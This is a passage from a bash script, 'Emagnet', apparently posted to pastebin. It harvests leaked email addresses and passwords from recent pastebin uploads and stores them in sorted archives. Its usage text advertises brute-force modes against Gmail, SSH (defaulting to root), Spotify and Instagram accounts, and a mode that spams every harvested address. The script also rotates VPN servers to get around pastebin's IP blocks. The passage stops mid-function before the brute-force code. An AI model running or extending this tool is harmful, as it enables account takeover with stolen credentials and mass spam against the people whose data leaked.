· 6 years ago · Sep 29, 2019, 12:24 PM
1#!/bin/bash
2###############################################################################
3###############################################################################
4### ###
5### If you will copy any developers work and claim you are the dev/founder ###
6### it wont make you a hacker - The only person you're fooling is yourself ###
7### so please respect all developers and GPL Licenses no matter if it's my ###
8### script, tool or project or if its anyone else, thank you! ###
9### ###
10###############################################################################
11###################### EMAGNET WAS FOUNDED BY WUSEMAN #########################
12###############################################################################
13#### ####
14#### Emagnet - A tool for find all latest leaked databases ####
15#### Copyright (C) 2018-2019, wuseman ####
16#### ####
17#### This program is free software; you can redistribute it and/or modify ####
18#### it under the terms of the GNU General Public License as published by ####
19#### the Free Software Foundation; either version 2 of the License, or ####
20#### (at your option) any later version. ####
21#### ####
22#### This program is distributed in the hope that it will be useful, ####
23#### but WITHOUT ANY WARRANTY; without even the implied warranty of ####
24#### MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the ####
25#### GNU General Public License for more details. ####
26#### ####
27#### You must obey the GNU General Public License. If you will modify ####
28#### emagnet file(s), you may extend this exception to your version ####
29#### of the file(s), but you are not obligated to do so. If you do not ####
30#### wish to do so, delete this exception statement from your version. ####
31#### If you delete this exception statement from all source files in the ####
32#### program, then also delete it here. ####
33#### ####
34#### Contact: ####
35#### IRC: Freenode @ wuseman ####
36#### Mail: wuseman <wuseman@nr1.nu> ####
37#### ####
38###############################################################################
39#### ---------------------- VERY IMPORTANT iNFO ----------------------- ####
40###############################################################################
41#### ####
42#### Emagnet has been created for a legal puprose, wich is for count stats ####
43#### for leaked email addresses and passwords. ####
44#### ####
45###############################################################################
46###############################################################################
47
48### Want your own banner?
49### Cool, just replace the ascii below
50emagnet_banner() {
51cat << "EOF"
52 _ _______ _
53 _dMMMb._ .adOOOOOOOOOba. _,dMMMb_
54 dP' ~YMMb dOOOOOOOOOOOOOOOb aMMP~ `Yb
55 V ~"Mb dOOOOOOOOOOOOOOOOOb dM"~ V
56 `Mb. dOOOOOOOOOOOOOOOOOOOb ,dM'
57 `YMb._ |OOOOOOOOOOOOOOOOOOOOO| _,dMP'
58 __ `YMMM| OP'~"YOOOOOOOOOOOP"~`YO |MMMP' __
59 ,dMMMb. ~~' OO `YOOOOOP' OO `~~ ,dMMMb.
60 _,dP~ `YMba_ OOb `OOO' dOO _aMMP' ~Yb._
61 `YMMMM\`OOOo OOO oOOO'/MMMMP'
62 ,aa. `~YMMb `OOOb._,dOOOb._,dOOO'dMMP~' ,aa.
63 ,dMYYMba._ `OOOOOOOOOOOOOOOOO' _,adMYYMb.
64 ,MP' `YMMba._ OOOOOOOOOOOOOOOOO _,adMMP' `YM.
65 MP' ~YMMMba._ YOOOOPVVVVVYOOOOP _,adMMMMP~ `YM
66 YMb ~YMMMM\`OOOOI`````IOOOOO'/MMMMP~ dMP
67 `Mb. `YMMMb`OOOI,,,,,IOOOO'dMMMP' ,dM'
68 `' `OObNNNNNdOO' `'
69 `~OOOOO~'
70EOF
71printf "%64s \n\n" | tr ' ' '='
72}
73
74emagnet_usage() {
75cat << EOF
76Usage: ./$basename$0 [--author] [--emagnet] [--option] .....
77 -a, --author Show author information.
78 -b, --backup Create a compressed archive
79 - Available options: all/incoming/archive
80 -l, --license Show license information.
81 -h, --help Display this very helpful text
82 -n, --notify Set notifications on or off
83 -t, --time Set refresh time in seconds
84 -v, --vpn Toggle VPN on or off (Linux Only)
85 - Available options: true/false
86 Use: -v -p <provider> for set provider
87 -V, --version Displays version information.
88 -i, --ip Print you current WAN IPv4/IPv6
89 -e, --emagnet Download latest uploaded files on pastebin
90 and store e-mail addresses and passwords
91 in sorted day directories.
92 -g, --bruteforce Same as above '-e' with brute-force mode on
93 - Available options: gmail/ssh/spotify/instagram
94 -k, --kill Kill emagnet ghost sessions
95 -m, --merge Merge all log files from incoming to archive
96 -M, --move Move all downloaded files to archive
97 -s, --spam Send email to all targets
98 - Send email to targets in logs/emails-from-patebin.txt
99 - This is not meant to be used while emagnet is running
100 -q, --quiet Run emagnet in a screen
101 -x, --syntax Download uploads sorted by syntax
102 - Valid syntaxes available on pastebin.com/languages
103EOF
104}
105
106emagnet_required_stuff() { if ! [[ -d "$HOME/.config/emagnet/" ]]; then mkdir -p "$HOME/.config/emagnet/";mkdir -p "$HOME/.config/emagnet/tmp";fi;cp "./emagnet.conf" $HOME/.config/emagnet/;}
107emagnet_conf() { CONF="$HOME/.config/emagnet/emagnet.conf";. "$CONF" ;}
108emagnet_mustberoot() {(( ${EUID} > 0 )) && printf "%s\n" "$basename$0: internal error -- root privileges is required" && exit 1; }
109emagnet_clear() { clear;}
110emagnet_iconnection() { ping -i "0.2" -c 1 1.1.1.1 &> /dev/null;if [[ "$?" -gt "0" ]];then echo -e "$basename$0: internal error -- no internet connection, can't continue"; exit 1;fi; }
111emagnet_license() { printf "%s\n" "Printing LICENSE - Use 'q' to quit";sleep 2;curl -s "https://nr1.nu/licenses/LICENSE.md"|less;printf "%s\n" "Thank you.." ;}
112emagnet_is_this_android() { getprop &> /dev/null; [[ "$?" -eq "0" ]] && sed -i '204d' "$CONF"; sed -i '204 i ANDROID=true' "$CONF";}
113emagnet_requirements() { for cmd in wget curl; do hash $cmd; if [[ "$?" -gt 0 ]]; then echo "$cmd is required to be installed, exiting."; exit 1;fi;done;}
114emagnet_optional() { sleep 0;}
115emagnet_blocked() { if ! [[ -s "$HOME/.config/emagnet/tmp/.emagnet" ]]; then curl -h "$HEADER"-Ls "$PASTEBIN" -H "$USERAGENT" > $HOME/.config/emagnet/tmp/.emagnet;fi;} # 2FIX - Do we need this?
116emagnet_paths() { PATHS="${EMAGNETHOME} ${EMAGNETDB} ${EMAGNETPW} ${EMAGNETTEMP} ${EMAGNETCRAP} ${EMAGNETALL} ${EMAGNETARCHIVE} ${EMAGNETLOGS}";for DIRS in ${PATHS}; do ! [[ -d "${DIRS}" ]] && mkdir -p "${DIRS}" &> /dev/null; done ;}
117CONF="$HOME/.config/emagnet/emagnet.conf"
118
119emagnet_mustbefilled() {
120 if [[ -z "$DEBUG" ]];then sed -i "12d" "$CONF";sed -i '12 i DEBUG=false' "$CONF";fi
121 if [[ -z "$PASTEBIN" ]];then sed -i '21d' "$CONF";sed -i '21 i PASTEBIN=https:\/\/www.pastebin.com' "$CONF";fi
122 if [[ -z "$WIP" ]];then sed -i '50d' "$CONF";sed -i '50 i WIP=https:\/\/nr1.nu\/i\/' "$CONF";fi
123 if [[ -z "$WIP2" ]];then sed -i '51d' "$CONF";sed -i '51 i WIP2=' "$CONF";fi
124 if [[ -z "$WIP3" ]];then sed -i '52d' "$CONF";sed -i '52 i WIP3=' "$CONF";fi
125 if [[ -z "$WIP4" ]];then sed -i '53d' "$CONF";sed -i '53 i WIP4=' "$CONF";fi
126 if [[ -z "$TIME" ]];then sed -i '30d' "$CONF";sed -i "30 i TIME=150" "$CONF";fi
127 if [[ -z "$MYIP" ]];then sed -i '40d' "$CONF";sed -i "40 i MYIP=$(curl -s https://nr1.nu/i/)" "$CONF";fi
128 if [[ -z "$EMAGNET" ]];then sed -i '72d' "$CONF";sed -i '72 i EMAGNET=$HOME/emagnet' "$CONF";fi
129 if [[ -z "$EMAGNETHOME" ]];then sed -i "73d" "$CONF";sed -i '73 i EMAGNETHOME=$EMAGNET\/incoming\/$(date +%Y-%m-%d)' "$CONF";fi
130 if [[ -z "$EMAGNETLOGS" ]];then sed -i "74d" "$CONF";sed -i '74 i EMAGNETLOGS=$EMAGNETHOME/logs' "$CONF";fi
131 if [[ -z "$EMAGNETPW" ]];then sed -i "75d" "$CONF";sed -i '75 i EMAGNETPW=$EMAGNETHOME\/password-files' "$CONF";fi
132 if [[ -z "$EMAGNETALL" ]];then sed -i "76d" "$CONF";sed -i '76 i EMAGNETALL=$EMAGNETHOME\/all-files' "$CONF";fi
133 if [[ -z "$EMAGNETCRAP" ]];then sed -i "77d" "$CONF";sed -i '77 i EMAGNETCRAP=$EMAGNETHOME\/.pastebin' "$CONF";fi
134 if [[ -z "$EMAGNETTEMP" ]];then sed -i "78d" "$CONF";sed -i '78 i EMAGNETTEMP=$EMAGNETHOME\/.temp' "$CONF";fi
135 if [[ -z "$EMAGNETARCHIVE" ]];then sed -i "79d" "$CONF";sed -i '79 i EMAGNETARCHIVE=$EMAGNET/archive' "$CONF";fi
136 if [[ -z "$EMAGNETDB" ]];then sed -i "80d" "$CONF";sed -i '80 i EMAGNETDB=$EMAGNETHOME\/email-files' "$CONF";fi
137 if [[ -z "$EMAGNETBACKUP" ]];then sed -i "81d" "$CONF";sed -i '81 i EMAGNETBACKUP=$EMAGNET/backup' "$CONF";fi
138 if [[ -z "$EMAGNETSYNTAX" ]];then sed -i "82d" "$CONF";sed -i '82 i EMAGNETSYNTAX=$EMAGNETHOME\/sorted-by-syntax' "$CONF";fi
139 if [[ -z "$VERSION" ]];then sed -i '91d' "$CONF";sed -i '91 i VERSION=3.4' "$CONF";fi
140 if [[ -z "$THREADS" ]];then sed -i '100d' "$CONF";sed -i "100 i THREADS=$(( NUMCPUS + 1 ))" "$CONF";fi
141 if [[ -z "$IDLETIME" ]];then sed -i '109d' "$CONF";sed -i "109 i IDLETIME=3600" "$CONF";fi
142 if [[ -z "$GBRUTEFORCE" ]];then sed -i '125d' "$CONF";sed -i '125 i GBRUTEFORCE=false' "$CONF";fi
143 if [[ -z "$SBRUTEFORCE" ]];then sed -i '126d' "$CONF";sed -i '126 i SBRUTEFORCE=false' "$CONF";fi
144 if [[ -z "$PBRUTEFORCE" ]];then sed -i '127d' "$CONF";sed -i '127 i PBRUTEFORCE=false' "$CONF";fi
145 if [[ -z "$IBRUTEFORCE" ]];then sed -i '128d' "$CONF";sed -i '128 i IBRUTEFORCE=false' "$CONF";fi
146 if [[ -z "$BBRUTEFORCE" ]];then sed -i '129d' "$CONF";sed -i '129 i BBRUTEFORCE=template' "$CONF";fi
147 if [[ -z "$CBRUTEFORCE" ]];then sed -i '130d' "$CONF";sed -i '130 i CBRUTEFORCE=template' "$CONF";fi
148 if [[ -z "$DBRUTEFORCE" ]];then sed -i '131d' "$CONF";sed -i '131 i DBRUTEFORCE=template' "$CONF";fi
149 if [[ -z "$EBRUTEFORCE" ]];then sed -i '132d' "$CONF";sed -i '132 i EBRUTEFORCE=template' "$CONF";fi
150 if [[ -z "$EMAIL2SEND" ]];then sed -i '141d' "$CONF";sed -i '141 i EMAIL2SEND=' "$CONF";fi
151 if [[ -z "$NOTIFY" ]];then sed -i '150d' "$CONF";sed -i '150 i NOTIFY=false' "$CONF";fi
152 if [[ -z "$VPN" ]];then sed -i '162d' "$CONF";sed -i '162 i VPN=false' "$CONF";fi
153 if [[ -z "$VPNROOT" ]];then sed -i '163d' "$CONF";sed -i '163 i VPNROOT=/etc/openvpn' "$CONF";fi
154 if [[ -z "$VPNPROVIDER" ]];then sed -i '164d' "$CONF";sed -i '164 i VPNPROVIDER=$VPNROOT/' "$CONF";fi
155 if [[ -z "$VPNPROVIDER2" ]];then sed -i '165d' "$CONF";sed -i '165 i VPNPROVIDER2=$VPNROOT/' "$CONF";fi
156 if [[ -z "$VPNPROVIDER3" ]];then sed -i '166d' "$CONF";sed -i '166 i VPNPROVIDER3=$VPNROOT/' "$CONF";fi
157 if [[ -z "$VPNCOUNTRYS" ]];then sed -i '167d' "$CONF";sed -i '167 i VPNCOUNTRYS="belgium bulgaria czhech denmark spain finland uk uk-london uk-manchester greece hongkong hungaria italy"' "$CONF";fi
158 if [[ -z "$VPNCOUNTRYS2" ]];then sed -i '168d' "$CONF";sed -i '168 i VPNCOUNTRYS2="argentina australia brazil denmark finland france germany hong iceland india ireland sweden"' "$CONF";fi
159 if [[ -z "$VPNCOUNTRYS3" ]];then sed -i '169d' "$CONF";sed -i '169 i VPNCOUNTRYS3="belgium bulgaria czhech denmark spain finland uk uk-london uk-manchester greece hongkong hungaria italy"' "$CONF";fi
160 if [[ -z "$SSHUSER" ]];then sed -i '181d' "$CONF";sed -i '181 i SSHUSER="root"' "$CONF";fi
161 if [[ -z "$SSHPORT" ]];then sed -i '182d' "$CONF";sed -i '182 i SSHPORT="22"' "$CONF";fi
162 if [[ -z "$SSHPASS" ]];then sed -i '183d' "$CONF";sed -i '183 i SSHPASS=' "$CONF";fi
163 if [[ -z "$SSHTARGETS" ]];then sed -i '184d' "$CONF";sed -i '184 i SSHTARGETS="$HOME/.config/emagnet/tmp/.emagnet-sshbruter.txt"' "$CONF";fi
164 if [[ -z "$SSHPORTSCAN" ]];then sed -i '185d' "$CONF";sed -i '185 i SSHPORTSCAN="$HOME/.config/emagnet/tmp/.emagnet-portscan.txt"' "$CONF";fi
165 if [[ -z "$USERAGENT" ]];then sed -i '195d' "$CONF";sed -i '195 i USERAGENT=Mosaic/0.9' "$CONF";fi
166 if [[ -z "$ANDROID" ]];then sed -i '204d' "$CONF";sed -i '204 i ANDROID=false' "$CONF";fi
167}
168
169
170emagnet_author() {
171cat << "EOF"
172 Copyright (C) 2018-2019, wuseman
173 Emagnet was founded in 2015 and was released as open source
174 on github.com/wuseman/emagnet in January 2018 and is licensed
175 under GNU LESSER GENERAL PUBLIC LICENSE GPLv3
176 - Author: wuseman <wuseman@nr1.nu>
177 - IRC : wuseman <irc.freenode.com>
178 Please report bugs/issues on:
179 - https://github.com/wuseman/EMAGNET/issues
180EOF
181}
182
183emagnet_quiet() {
184 emagnet_conf
185 pid="$(ps aux |grep emagnet)"
186 printf "$basename$0: emagnet has been started in background (pid:$(ps aux|grep "SCREEN -dmS emagnet"|awk '{print $2}'|head -n1))\n"
187 screen -S "emagnet" -dm bash "$basename$0" --emagnet
188}
189
190emagnet_notice_about_scraping() {
191 emagnet_clear
192 emagnet_banner
193 echo -e " \e[1;31mNOTICE\e[0m:\n"
194 echo -e "[\e[1;31m<<\e[0m] - You are scraping pastbin.com way too fast! \e[1;31mSlow Down\e[0m!"
195 echo -e "[\e[1;31m<<\e[0m] - Pastebin has blocked you from the archive page until you slow down."
196 echo -e "[\e[1;31m<<\e[0m] - You will only be able to download 8 files at time until you raise TIME"
197 echo -e "[\e[1;31m<<\e[0m] - The block from pastebin.com/archive will be lifted within 20 minutes.."
198 sleep 7
199 emagnet_clear
200 emagnet_banner
201 }
202
203emagnet_kill() {
204ESESSIONS=$(ps aux|grep -i "emagnet"|sed '$d'|awk '{print $2}')
205NRESESSIONS=$(ps aux|grep -i "emagnet"|sed '$d'|awk '{print $2}'|wc -l)
206NRINSCREEN="$(screen -ls |grep emagnet|awk -F"." '{print $1}'|sed 's/\t//g'|wc -l)"
207INSCREEN="$(screen -ls |grep emagnet|awk -F"." '{print $1}'|sed 's/\t//g')"
208 if [[ "$INSCREEN" -gt "0" ]]; then for screens in "$INSCREEN"; do screen -X -S "$screens" kill; [[ "$?" = "0" ]] && echo -e "[\e[1;31m<<\e[0m] - $NRINSCREEN emagnet screens has been killed\n"; done;fi
209 if [[ "$NRESESSIONS" -lt "3" ]]; then echo -e "$basename$0: internal error -- 0 emagnet sessions is currently running";else echo -e "$basename$0: killed $(echo $NRESESSIONS-2|bc) emagnet sessions"
210 kill -SIGKILL "$ESESSIONS" &> /dev/null;fi
211}
212
213emagnet_heavyload() {
214curl -sL -H "$USERAGENT" "$PASTEBIN" \
215|grep -q "is under heavy load right now"
216 if [[ "$?" = "0" ]]; then
217 for (( ; ; )); do
218 wait_time=60
219 temp_cnt="${wait_time}"
220 while [[ "${temp_cnt}" -gt 0 ]]; do
221 printf "\rPastebin is currently under heavy load, let's wait: \e[1;1m%1d\e[0m" ${temp_cnt}
222 printf " seconds"
223 sleep 1
224 ((temp_cnt--))
225 done
226 echo
227 bash "$basename$0" --emagnet
228 done
229 bash "$basename$0" --emagnet
230fi
231}
232
233emagnet_I_was_banned() {
234curl -sL -H "$USERAGENT" "$PASTEBIN" \
235|grep -q "blocked your IP"
236if [[ "$?" = "0" ]]; then
237 if [[ "$VPN" = "false" ]]; then
238 emagnet_clear
239 emagnet_banner
240 for (( ; ; )); do
241 wait_time=${IDLETIME}
242 temp_cnt=${wait_time}
243 while [[ "${temp_cnt}" -gt "0" ]]; do
244 printf "\rIP: [\e[1;31m$(curl -s $WIP)\e[0m] has been blocked, continues in \e[1;1m%1d\e[0m" ${temp_cnt}
245 printf " seconds"
246 sleep 1
247 ((temp_cnt--))
248 done
249 printf "\n"
250 emagnet_clear
251 emagnet_banner
252 bash "$basename$0" --emagnet
253 sleep 2
254 done
255 emagnet_clear
256 emagnet_banner
257 bash "$basename$0" --emagnet
258 exit 1
259 else
260 emagnet_banned
261 fi
262fi
263}
264
265emagnet_vpnsetup() {
266emagnet_mustberoot
267( hash openvn &> /dev/null; [[ $? -eq "0" ]] && echo -e "$basename$0: internal error -- openvpn is required to be installed when enabling vpn"; exit )
268VPNCONFIG=$(awk -F'/' '/VPNPROVIDER/ {print $2}' $CONF |cut -d'"' -f1|head -2|sed '1d')
269VPNCONFIG2=$(awk -F'/' '/VPNPROVIDER/ {print $2}' $CONF|cut -d'"' -f1|head -2|tail -1)
270VPNCONFIG3=$(awk -F'/' '/VPNPROVIDER/ {print $2}' $CONF|cut -d'"' -f1|head -3|tail -1)
271
272if [[ -z "$VPNPROVIDER" || -n "$VPNPROVIDER2" ]]; then
273 export VPNCONFIG="$VPNCONFIG2"
274 export VPNCOUNTRYS="$VPNCOUNTRYS2"
275 elif [[ -z "$VPNPROVIDER" || -z "$VPNPROVIDER2" || -n "$VPNPROVIDER3" ]]; then
276 export VPNCONFIG="$VPNCONFIG3"
277 export VPNCOUNTRYS="$VPNCOUNTRYS3"
278 else
279 export VPNCONFIG="$VPNCONFIG"
280 export VPNCOUNTRYS="$VPNCOUNTRYS"
281fi
282
283 case "$COUNTRY" in
284 "belgium") cd "$VPNPROVIDER";openvpn --config "$VPNCONFIG.be.ovpn" &> /dev/null & ;;
285 "bulgaria") cd "$VPNPROVIDER";openvpn --config "$VPNCONFIG.bg.ovpn" &> /dev/null & ;;
286 "czech") cd "$VPNPROVIDER";openvpn --config "$VPNCONFIG.cz.ovpn" &> /dev/null & ;;
287 "denmark") cd "$VPNPROVIDER";openvpn --config "$VPNCONFIG.dk.ovpn" &> /dev/null & ;;
288 "spain") cd "$VPNPROVIDER";openvpn --config "$VPNCONFIG.es.ovpn" &> /dev/null & ;;
289 "finland") cd "$VPNPROVIDER";openvpn --config "$VPNCONFIG.fi.ovpn" &> /dev/null & ;;
290 "united-kingdom") cd "$VPNPROVIDER";openvpn --config "$VPNCONFIG.gb.ovpn" &> /dev/null & ;;
291 "greece") cd "$VPNPROVIDER";openvpn --config "$VPNCONFIG.gr.ovpn" &> /dev/null & ;;
292 "hongkong") cd "$VPNPROVIDER";openvpn --config "$VPNCONFIG.hk.ovpn" &> /dev/null & ;;
293 "hungaria") cd "$VPNPROVIDER";openvpn --config "$VPNCONFIG.hu.ovpn" &> /dev/null & ;;
294 "italy") cd "$VPNPROVIDER";openvpn --config "$VPNCONFIG.it.ovpn" &> /dev/null & ;;
295 "moldavia") cd "$VPNPROVIDER";openvpn --config "$VPNCONFIG.md.ovpn" &> /dev/null & ;;
296 "netherlands") cd "$VPNPROVIDER";openvpn --config "$VPNCONFIG.nl.ovpn" &> /dev/null & ;;
297 "norway") cd "$VPNPROVIDER";openvpn --config "$VPNCONFIG.no.ovpn" &> /dev/null & ;;
298 "poland") cd "$VPNPROVIDER";openvpn --config "$VPNCONFIG.pl.ovpn" &> /dev/null & ;;
299 "portugal") cd "$VPNPROVIDER";openvpn --config "$VPNCONFIG.pt.ovpn" &> /dev/null & ;;
300 "romania") cd "$VPNPROVIDER";openvpn --config "$VPNCONFIG.ro.ovpn" &> /dev/null & ;;
301 "russia") cd "$VPNPROVIDER";openvpn --config "$VPNCONFIG.rs.ovpn" &> /dev/null & ;;
302 "sweden") cd "$VPNPROVIDER";openvpn --config "$VPNCONFIG.se.ovpn" &> /dev/null & ;;
303 "sweden1") cd "$VPNPROVIDER";openvpn --config "$VPNCONFIG.se.ovpn" &> /dev/null & ;;
304 "sweden2") cd "$VPNPROVIDER";openvpn --config "$VPNCONFIG.se2.ovpn" &> /dev/null & ;;
305 "sweden3") cd "$VPNPROVIDER";openvpn --config "$VPNCONFIG.se3.ovpn" &> /dev/null & ;;
306 "sweden4") cd "$VPNPROVIDER";openvpn --config "$VPNCONFIG.se4.ovpn" &> /dev/null & ;;
307 "united-states") cd "$VPNPROVIDER";openvpn --config "$VPNCONFIG.us.ovpn" &> /dev/null & ;;
308 esac
309}
310
311emagnet_banned() {
312if [[ "$VPN" = "false" ]]; then
313 emagnet_I_was_banned
314else
315 line='...........................................................'
316 line1='................................[ ok ]'
317 line2='...............................................'
318 OPENVPNRUNNING="$(ps aux |grep openvpn|sed '1d')"
319 MYIP="$(curl -s https://nr1.nu/i/)"
320 MYCOUNTRY="$(curl -s https://nr1.nu/i/|xargs whois|grep -i COUNTRY|awk '{print tolower($2)}')"
321 COUNTRY=$(awk -F'="' '/VPNCOUNTRYS="/ {print $2}' $CONF|sed 's/"//g'|tr ' ' '\n'|sort -R | sed 's/.*[0-9]\t//'|shuf -n1)
322 curl -H "$USERAGENT" -Ls "$WIP" > "$HOME/.config/emagnet/tmp/.emagnet-ip"
323 if [[ -n "$OPENVPNRUNNING" ]]; then pkill -9 "openvpn"; fi
324 emagnet_clear
325 emagnet_banner
326 printf "\e[1;31m You have been blocked by pastebin...\n\n\e[0m"
327 printf "%s${line2:${#MYIP}}[ ok ]\n" "Current IP: $MYIP"
328 printf "Connecting to "
329 printf "\e[1m%s\e[0m%s \e[1;37m%s\e[0m" $COUNTRY ", please wait${line1:${#COUNTRY}}"
330 printf "\n"
331 emagnet_vpnsetup
332 sleep 10
333 MYIP="$(curl -s https://nr1.nu/i/)"
334 MYOLDIP="$(cat $HOME/.config/emagnet/tmp/.emagnet-ip)"
335 if [[ "$MYIP" != "$MYOLDIP" ]]; then
336 rm "$HOME/.config/emagnet/tmp/.emagnet-ip" &> /dev/null
337 MYNEWIP=$(printf "Successfully connected to $(echo "$(curl -s https://nr1.nu/i/)")")
338 printf "%s%s[ ok ]\n" "$MYNEWIP" "${line:${#MYNEWIP}}"
339 printf "\rEmagnet will continue in 5 seconds.........................[ ok ]\n\n"
340 sleep 5
341 fi
342 if [[ "$MYIP" = "$MYOLDIP" ]]; then
343 echo -e "Still trying to establish a connection.....................[\e[1;3m\e[5mwait\e[0m\e[0m]"
344 sleep 10
345
346 if [[ ! $MYIP = "$MYOLDIP" ]]; then
347 rm "$HOME/.config/emagnet/tmp/.emagnet-ip" &> /dev/null
348 MYNEWIP=$(echo -e "Successfully connected to $(curl -s https://nr1.nu/i/)")
349 printf "%s%s[ ok ]\n" "$MYNEWIP" "${line:${#MYNEWIP}}"
350 printf "\rEmagnet will continue in 5 seconds.........................[ ok ]\n\n"
351 sleep 5
352 else
353 echo -e "It seems to be some trouble with the connection, aborted...[\e[1;31mfail\e[0m]\n"
354 exit 1
355 fi
356 fi
357 fi
358}
359
360emagnet_analyzing_message() {
361 text="Analyzing..."
362 delay="0.1"
363if [[ "$GBRUTEFORCE" = "true" ]]; then
364 printf "%19s \e[1;31m$(echo -e "\e[1;34mG\e[1;31mM\e[1;33mA\e[1;34mi\e[0;32mL\e\e[0m") BRUTE MODE is: \e[1;32mON\e[0m\e[0m\n\n"
365 printf "%64s \n\n" | tr ' ' '='
366 elif [[ "$PBRUTEFORCE" = "true" ]]; then
367 printf "%18s \e[0;32mSPOTIFY\e[0m BRUTE MODE is: \e[1;32mON\e[0m\e[0m\n\n"
368 printf "%64s \n\n" | tr ' ' '='
369 elif [[ "$SBRUTEFORCE" = "true" ]]; then
370 printf "%20s \e[1;34mSSH\e[0m BRUTE MODE is: \e[1;32mON\e[0m\e[0m\n\n"
371 printf "%64s \n\n" | tr ' ' '='
372 elif [[ "$IBRUTEFORCE" = "true" ]]; then
373 printf "%17s \e[0;33mINSTAGRAM\e[0m BRUTE MODE is: \e[1;32mON\e[0m\e[0m\n\n"
374 printf "%64s \n\n" | tr ' ' '='
375 else
376 sleep 0
377fi
378 printf "%26s"; for analyzing in $(seq 0 $(expr length "${text}")); do echo -n "${text:$analyzing:1}";sleep "${delay}";done
379}
380
381emagnet_merge() {
382EMPTY="$(ls $EMAGNET/incoming/*/logs/|wc -l)"
383if [[ "$EMPTY" = "0" ]]; then echo -e "$basename$0: internal error -- nothing to merge";exit 1;fi
384DAYDIRS="$(ls $EMAGNET/incoming/|wc -l)"
385DAYDIRS2="$(ls $EMAGNET/incoming/)"
386LOGFILES="$(ls $EMAGNET/incoming/*/logs/*|wc -l)"
387TOTM="$(cat $EMAGNET/incoming/*/logs/emails-from-pastebin.txt|wc -l)" # Total Mail Addresses
388TOTP="$(cat $EMAGNET/incoming/*/logs/passwords-from-pastebin.txt|wc -l)" # Total passwords
389TOTU="$(cat $EMAGNET/incoming/*/logs/pastebin-urls.txt|wc -l)" # Total Urls
390 emagnet_clear;emagnet_banner
391 printf "%10s Merging \e[1;36m${LOGFILES}\e[0m log files from \e[1;36m${DAYDIRS}\e[0m day directories\n\n"
392 printf "%64s \n\n" | tr ' ' '='
393 LOGDATE="$(ls $EMAGNET/incoming/|xargs|sed 's/ /, /g')"
394 for LOGDATE2 in "$(ls $EMAGNET/incoming/)"; do
395 echo -e ",-> Merging logs from: $LOGDATE \n|"
396 logfiles="cracked-ssh-passwords.txt cracked-gmail-passwords.txt cracked-instagram-passwords.txt cracked-spotify-passwords.txt emagnet.log emails-from-pastebin.txt passwords-from-pastebin.txt pastebin-urls.txt"
397 find $EMAGNET/incoming/*/logs/ -maxdepth 1|sed '/\/$/d' > $HOME/emagnet/.emagnet-temp-merge.txt
398 touch "$EMAGNETARCHIVE/logs/$logfiles" &> /dev/null
399 while read logs; do
400 echo "$logs" >> "$EMAGNETARCHIVE/logs/$logfiles";
401 if [[ "$?" -eq "0" ]]; then
402 printf "| %2d) [MERGED] %.100s %s\n" "$(( ++cnt ))" "$logs'"
403 sleep 1
404 else
405 printf "\n| %2d) [FAILED] %.31s %s" "$(( ++cnt ))" "$logs"
406 sleep 1
407 fi
408 done < $HOME/emagnet/.emagnet-temp-merge.txt
409 sleep 0.2
410 done
411 printf "|\n"
412 sleep 0.2
413 printf "'- Successfully merged \e[1;32m${TOTM}\e[0m emails, \e[1;34m${TOTP}\e[0m passwords and \e[1;36m${TOTU}\e[0m urls...\n\n"
414}
415
416emagnet_analyzer() {
417emagnet_clear;emagnet_banner
418if [[ "$GBRUTEFORCE" = "true" ]]; then
419 printf "%19s \e[1;31m$(echo -e "\e[1;34mG\e[1;31mM\e[1;33mA\e[1;34mi\e[0;32mL\e\e[0m") BRUTE MODE is: \e[1;32mON\e[0m\e[0m\n\n"
420 printf "%64s \n\n" | tr ' ' '='
421 elif [[ "$PBRUTEFORCE" = "true" ]]; then
422 printf "%18s \e[0;32mSPOTIFY\e[0m BRUTE MODE is: \e[1;32mON\e[0m\e[0m\n\n"
423 printf "%64s \n\n" | tr ' ' '='
424 elif [[ "$SBRUTEFORCE" = "true" ]]; then
425 printf "%20s \e[1;34mSSH\e[0m BRUTE MODE is: \e[1;32mON\e[0m\e[0m\n\n"
426 printf "%64s \n\n" | tr ' ' '='
427 elif [[ "$IBRUTEFORCE" = "true" ]]; then
428 printf "%17s \e[0;33mINSTAGRAM\e[0m BRUTE MODE is: \e[1;32mON\e[0m\e[0m\n\n"
429 printf "%64s \n\n" | tr ' ' '='
430 else
431 sleep 0
432fi
433
434wait_time=$TIME
435temp_cnt=${wait_time}
436 while [[ "${temp_cnt}" -gt "0" ]]; do
437 printf "\r I'll Will Find You <-%2d -> It's A Matter Of Time" ${temp_cnt}
438 sleep 1
439 ((temp_cnt--))
440 done
441}
442
443emagnet_move_files() {
444EMPTY="$(ls $EMAGNET/incoming/*/*/|wc -l)"
445if [[ "$EMPTY" -lt "1" ]]; then
446 echo -e "$basename$0: internal error -- there is nothing to move"
447 exit 1
448fi
449
450 if [[ ! -d "$EMAGNETARCHIVE/emagnet" ]]; then
451 mkdir -p "$EMAGNETARCHIVE/all-files"
452 mkdir -p "$EMAGNETARCHIVE/email-files"
453 mkdir -p "$EMAGNETARCHIVE/password-files"
454 mkdir -p "$EMAGNETARCHIVE/logs"
455 fi
456 printf "%s\n" "Copying all incoming files to archive"
457 cp -rn $EMAGNET/incoming/*/all-files/* $EMAGNETARCHIVE/all-files/
458 cp -rn $EMAGNET/incoming/*/email-files/* $EMAGNETARCHIVE/email-files/
459 cp -rn $EMAGNET/incoming/*/password-files/* $EMAGNETARCHIVE/password-files/
460 printf "%s\n" "Done.."
461
462 read -p "Wipe incoming directories (y/n): " cleanup
463 if [[ "$cleanup" = "y" ]]; then
464 rm -rf "$EMAGNET/incoming/"
465 printf "\e[1;31mWiped\e[0m: $EMAGNET/incoming..\nDone..\n"
466 else
467 printf "\nAborted..\n"
468 fi
469}
470
471emagnet_count_down() {
472 emagnet_paths
473 emagnet_conf
474if [[ "$GBRUTEFORCE" = "true" ]]; then
475 sed -i '125d' "$CONF"
476 sed -i '125 i GBRUTEFORCE=true' "$CONF"
477 sed -i '126d' "$CONF"
478 sed -i '126 i SBRUTEFORCE=false' "$CONF"
479 sed -i '127d' "$CONF"
480 sed -i '127 i PBRUTEFORCE=false' "$CONF"
481 sed -i '128d' "$CONF"
482 sed -i '128 i IBRUTEFORCE=false' "$CONF"
483 emagnet_conf
484 printf "%19s \e[1;31m$(echo -e "\e[1;34mG\e[1;31mM\e[1;33mA\e[1;34mi\e[0;32mL\e\e[0m") BRUTE MODE is: \e[1;32mON\e[0m\e[0m\n"
485 printf "\n%64s \n\n" | tr ' ' '='
486 emagnet_analyzer
487 elif [[ "$SBRUTEFORCE" = "true" ]]; then
488 sed -i '125d' "$CONF"
